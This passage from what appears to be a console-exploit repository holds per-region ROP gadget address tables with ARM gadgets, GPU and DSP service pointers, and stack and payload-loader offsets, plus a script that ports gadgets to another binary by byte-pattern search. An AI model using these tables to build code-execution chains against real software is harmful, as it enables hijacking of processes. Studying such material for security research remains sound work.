LDR_R0R4_POP_R4PC = 0x138af8 22 | 23 | MEMCMP = 0x26ff60 24 | MEMCPY = 0x2a1c44 25 | MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x22469c 26 | MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16eaf8 27 | 28 | NOP = 0x104f74 29 | 30 | POP_R0PC = 0x10fd34 31 | POP_R1PC = 0x2a2118 32 | POP_R2R3R4R5R6PC = 0x28e1b8 33 | POP_R3PC = 0x117e50 34 | POP_R4LR_BX_R1 = 0x113928 35 | POP_R4PC = 0x1042b4 36 | POP_R4R5PC = 0x1083a0 37 | POP_R4R5R6PC = 0x104260 38 | POP_R4R5R6R7R8R9R10R11R12PC = 0x10b88c 39 | 40 | STREQ_R0R4_4_POP_R4R5R6PC = 0x397ed4 41 | STR_R0R4_POP_R4PC = 0x130378 42 | SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x3b7ea8 43 | SVC_EXITTHREAD = 0x11e88c 44 | SVC_SLEEPTHREAD = 0x28a3b4 45 | 46 | #OFFSET/PTR 47 | SECTION1_OFFSET = 0xE8 48 | SECTION2_OFFSET = 0x2E348 49 | FILE_PTR = 0x08A4EA9C 50 | SECTION1_PTR = FILE_PTR + SECTION1_OFFSET 51 | SECTION2_PTR = FILE_PTR + SECTION2_OFFSET 52 | OTHERAPP_PTR = FILE_PTR+0x190000+0x4 53 | 54 | ROP_LOADER_PTR = SECTION2_PTR+0x8 55 | STACK_DEST = 0x0FFFFE6C 56 | 57 | ANNOYING_THREAD_KILL = 0x5213B8 58 | -------------------------------------------------------------------------------- /ropdb/USA.py: -------------------------------------------------------------------------------- 1 | ADD_R0R0R1_POP_R4PC = 0x18bc18 2 | ADD_R0R0R4_POP_R4R5R6PC = 0x12c0b4 3 | 4 | CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10fd20 5 | 6 | DSP_REGISTERINTERRUPTEVENTS = 0x2FB55C 7 | DSP_UNLOADCOMPONENT = 0x278c14 8 | DSP_HANDLE = 0x3F67B4 9 | 10 | GSPGPU_FLUSHDATACACHE = 0x120EA4 11 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118924 12 | GSPGPU_GXTRYENQUEUE = 0x278a2c 13 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120910 14 | GSPGPU_SETTEXTURECOPY = 0x120b80 15 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 16 | GSPGPU_HANDLE = 0x3F67F0 17 | 18 | LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1f6128 19 | LDRD_ROR1R4_8_BLX_R2 = 0x11e650 20 | LDR_R0R0_POP_R4PC = 0x20d758 21 | LDR_R0R4_POP_R4PC = 0x13888c 22 | 23 | MEMCMP = 0x259920 24 | MEMCPY = 0x28b94c 25 | MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x215fe0 26 | MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16e7f8 27 | 28 | NOP = 0x104f74 29 | 30 | POP_R0PC = 0x10fbcc 31 | POP_R1PC = 0x28be20 32 | POP_R2R3R4R5R6PC = 0x277c08 33 | POP_R3PC = 0x117c24 34 | POP_R4LR_BX_R1 = 0x1136fc 35 | POP_R4PC = 0x1042b8 36 | POP_R4R5PC = 0x108284 37 | POP_R4R5R6PC = 0x104264 38 | POP_R4R5R6R7R8R9R10R11R12PC = 0x10b724 39 | 40 | STREQ_R0R4_4_POP_R4R5R6PC = 0x3755e4 41 | STR_R0R4_POP_R4PC = 0x13010c 42 | SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x39309c 43 | 44 | SVC_EXITTHREAD = 0x11e67c 45 | SVC_SLEEPTHREAD = 0x273d64 46 | 47 | #OFFSET/PTR 48 | SECTION1_OFFSET = 0xE8 49 | SECTION2_OFFSET = 0x2E348 50 | SECTION1_PTR = 0x08A67E84 51 | FILE_PTR = SECTION1_PTR - SECTION1_OFFSET 52 | SECTION2_PTR = FILE_PTR + SECTION2_OFFSET 53 | OTHERAPP_PTR = FILE_PTR+0x190000+0x4 54 | 55 | ROP_LOADER_PTR = SECTION2_PTR+0x8 56 | STACK_DEST = 0x0FFFFE6C 57 | 58 | ANNOYING_THREAD_KILL = 0x4F9DB8 59 | -------------------------------------------------------------------------------- /utils/portRopDb.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import re 3 | import runpy 4 | 5 | BASE_ADDR = 0x100000 6 | cmdargs = sys.argv 7 | 8 | src_codebin = open(cmdargs[1], 'rb').read() 9 | dst_codebin = open(cmdargs[2], 'rb').read() 10 | out_db = open(cmdargs[4], 'w') 11 | 12 | glob = runpy.run_path(cmdargs[3]) 13 | gadgets = list(glob.keys() - globals().keys()) 14 | gadgets.sort() 15 | 16 | letter = gadgets[0][0] 17 | 18 | for g in gadgets: 19 | found = False 20 | while not found: 21 | print("Size of (in instructions, 0 to skip) : " + g + " ?") 22 | size = int(input()) 23 | if size == 0: 24 | found = True 25 | continue 26 | offset = glob[g] - BASE_ADDR 27 | pattern = src_codebin[offset:offset+4*size] 28 | new_off = dst_codebin.find(pattern) 29 | if new_off >= 0: 30 | if g[0] != letter: 31 | letter = g[0] 32 | out_db.write("\n") 33 | out_db.write(g + " = " + hex(new_off+BASE_ADDR) + "\n") 34 | found = True 35 | print("OK") 36 | else: 37 | print("NOT FOUND") 38 | --------------------------------------------------------------------------------